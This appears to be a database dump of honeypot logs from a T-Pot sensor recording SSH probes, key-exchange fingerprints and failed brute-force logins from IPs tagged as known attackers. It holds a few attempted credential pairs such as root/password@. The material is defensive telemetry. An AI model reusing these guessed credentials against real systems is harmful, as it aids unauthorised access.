"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29049	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:22:48.069412+03	2021-09-20 14:30:03.630523+03	{"_id": "-AbxAnwBvYTbRNuEuTKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:47.549144+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1022453187305752, "payload": "AAADzAYUFOjhWSjFGP33dgW6KmczeQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39862, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:48.069412Z", "@timestamp": "2021-09-20T11:22:48.069Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........Y(....v..*g3y...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29089	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:23:02.843156+03	2021-09-20 14:30:03.683523+03	{"_id": "FwbxAnwBvYTbRNuE9DMu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11474, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 564918912212372, "@version": "1", "in_iface": "enp5s0", "src_port": 48178, "dest_port": 53, "timestamp": "2021-09-20T11:23:02.843156Z", "@timestamp": "2021-09-20T11:23:02.843Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29050	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:47.811802+03	2021-09-20 14:30:03.631525+03	{"_id": "-QbxAnwBvYTbRNuEujLG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39862, "timestamp": "2021-09-20T11:22:47.811802", "@timestamp": "2021-09-20T11:22:47.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29051	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:22:48.070049+03	2021-09-20 14:30:03.633525+03	{"_id": "_AbxAnwBvYTbRNuEuzK7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "50e3722458e4", "@version": "1", "timestamp": "2021-09-20T11:22:48.070049Z", "@timestamp": "2021-09-20T11:22:48.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29052	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:22:49.480956+03	2021-09-20 14:30:03.634524+03	{"_id": "_QbxAnwBvYTbRNuEvzKj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [mia/mia] failed", "session": "50e3722458e4", "@version": "1", "password": "mia", "username": "mia", "timestamp": "2021-09-20T11:22:49.480956Z", "@timestamp": "2021-09-20T11:22:49.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29053	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:22:46.296887+03	2021-09-20 14:30:03.635525+03	{"_id": "6AbxAnwBvYTbRNuEsTK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:45.700377+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 486660311986137, "payload": "AAADzAYUc36xzAx/pmqKLeHRW+xF0AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52468, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:46.296887Z", "@timestamp": "2021-09-20T11:22:46.296Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......s~.....j.-..[.E....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29054	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:46.001459+03	2021-09-20 14:30:03.637524+03	{"_id": "6QbxAnwBvYTbRNuEsjL1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52468, "timestamp": "2021-09-20T11:22:46.001459", "@timestamp": "2021-09-20T11:22:46.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29055	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:22:47.806565+03	2021-09-20 14:30:03.638524+03	{"_id": "9AbxAnwBvYTbRNuEtzLS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:39862 (192.168.176.2:22) [session: 50e3722458e4]", "session": "50e3722458e4", "@version": "1", "protocol": "ssh", "src_port": 39862, "dest_port": 22, "timestamp": "2021-09-20T11:22:47.806565Z", "@timestamp": "2021-09-20T11:22:47.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29056	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:22:47.581038+03	2021-09-20 14:30:03.639525+03	{"_id": "8wbxAnwBvYTbRNuEtzLS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [root/password@] failed", "session": "ba18192f6734", "@version": "1", "password": "password@", "username": "root", "timestamp": "2021-09-20T11:22:47.581038Z", "@timestamp": "2021-09-20T11:22:47.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29057	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:22:47.809613+03	2021-09-20 14:30:03.640524+03	{"_id": "8QbxAnwBvYTbRNuEtzLS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "50e3722458e4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:47.809613Z", "@timestamp": "2021-09-20T11:22:47.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29058	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:22:48.067253+03	2021-09-20 14:30:03.642523+03	{"_id": "9wbxAnwBvYTbRNuEuTKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 1022453187305752, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39862, "dest_port": 22, "timestamp": "2021-09-20T11:22:48.067253Z", "@timestamp": "2021-09-20T11:22:48.067Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29059	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:22:48.069412+03	2021-09-20 14:30:03.643523+03	{"_id": "-gbxAnwBvYTbRNuEujLG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39862, "dest_port": 22, "timestamp": "2021-09-20T11:22:48.069412", "@timestamp": "2021-09-20T11:22:48.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
